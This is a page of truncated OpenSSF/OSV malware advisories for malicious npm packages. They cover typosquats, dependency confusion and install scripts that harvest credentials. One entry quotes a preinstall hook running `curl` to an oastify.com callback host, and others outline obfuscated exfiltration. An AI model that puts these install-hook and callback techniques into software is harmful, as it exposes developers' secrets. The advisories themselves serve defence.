npm advisory reports, with evidence.
Investigate malicious npm packages reported through OSV and public advisories. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 448
Updated 23 Oct 2026, 07:56 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-6973 blocks this version. package.json declares a preinstall lifecycle hook that runs `curl https://bt8hbz0owdan31qvdap2u5b8izoqcg05.oastify.com` on...
OpenSSF/OSV malware advisory MAL-2026-6956 blocks this version. rio-design-tokens@99.99.100 is a dependency-confusion attack package. package.json declares `preinstall: node index.js`, so...
OpenSSF/OSV malware advisory MAL-2026-6955 blocks this version. The OpenSSF Package Analysis project identified 'hello244b' @ 1.0.0 (npm) as malicious.
OpenSSF/OSV malware advisory MAL-2026-2509 blocks this version. Package collects and sends sensitive system info to a hardcoded server. The package masquerades as a LangGraph JS utility b...
OpenSSF/OSV malware advisory MAL-2026-6582 blocks this version. On `npm install`, scripts/postinstall.js automatically reads a broad set of installer-side identity and cloud-configuration...
OpenSSF/OSV malware advisory MAL-2026-6581 blocks this version. scripts/postinstall.js executes automatically on `npm install` and performs a bulk harvest of installer-side identity and c...
OpenSSF/OSV malware advisory MAL-2026-5565 blocks this version. ai-sdk-helpers@1.2.1 is a typosquat impersonating the Vercel AI SDK ecosystem (homepage ai-sdk.guide, author 'AI SDK Guide...
OpenSSF/OSV malware advisory MAL-2026-6581 blocks this version. scripts/postinstall.js executes automatically on `npm install` and performs a bulk harvest of installer-side identity and c...
OpenSSF/OSV malware advisory MAL-2026-6911 blocks this version. Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored...
OpenSSF/OSV malware advisory MAL-2026-6910 blocks this version. The package declares a preinstall hook (`node index.js`) that runs automatically on `npm install`. index.js requires `os`,...
OpenSSF/OSV malware advisory MAL-2026-6848 blocks this version. Package advertises itself as a log formatter but exposes an undocumented `threadContent` option on `createLogger()` that is...
OpenSSF/OSV malware advisory MAL-2026-6499 blocks this version. helpers.js defines a createLog() helper that base64-decodes a constant HASH_KEY to https://www.jsonkeeper.com/b/XVHGD (an a...
OpenSSF/OSV malware advisory MAL-2026-6848 blocks this version. Package advertises itself as a log formatter but exposes an undocumented `threadContent` option on `createLogger()` that is...
OpenSSF/OSV malware advisory MAL-2026-6896 blocks this version. Package name resembles common ESLint/TypeScript tooling and the main entry index.js contains base64 decoding via Buffer.fro...
OpenSSF/OSV malware advisory MAL-2026-6834 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code
OpenSSF/OSV malware advisory MAL-2026-6476 blocks this version. On `require('typedecode')` / `import 'typedecode'`, the bundled `dist/index.cjs` and `dist/index.js` execute an obfuscated...
OpenSSF/OSV malware advisory MAL-2026-6476 blocks this version. On `require('typedecode')` / `import 'typedecode'`, the bundled `dist/index.cjs` and `dist/index.js` execute an obfuscated...
OpenSSF/OSV malware advisory MAL-2026-6875 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code
OpenSSF/OSV malware advisory MAL-2026-6874 blocks this version. The package advertises itself as a zero-dependency TypeScript validation library, but lib/index.js unconditionally requires...
OpenSSF/OSV malware advisory MAL-2026-6899 blocks this version. The package's main entry point src/index.js contains heavily obfuscated JavaScript at line 138 using a classic string-array...
OpenSSF/OSV malware advisory MAL-2026-6899 blocks this version. The package's main entry point src/index.js contains heavily obfuscated JavaScript at line 138 using a classic string-array...
OpenSSF/OSV malware advisory MAL-2026-6900 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code
OpenSSF/OSV malware advisory MAL-2026-6875 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code
OpenSSF/OSV malware advisory MAL-2026-6874 blocks this version. The package advertises itself as a zero-dependency TypeScript validation library, but lib/index.js unconditionally requires...
OpenSSF/OSV malware advisory MAL-2026-6874 blocks this version. The package advertises itself as a zero-dependency TypeScript validation library, but lib/index.js unconditionally requires...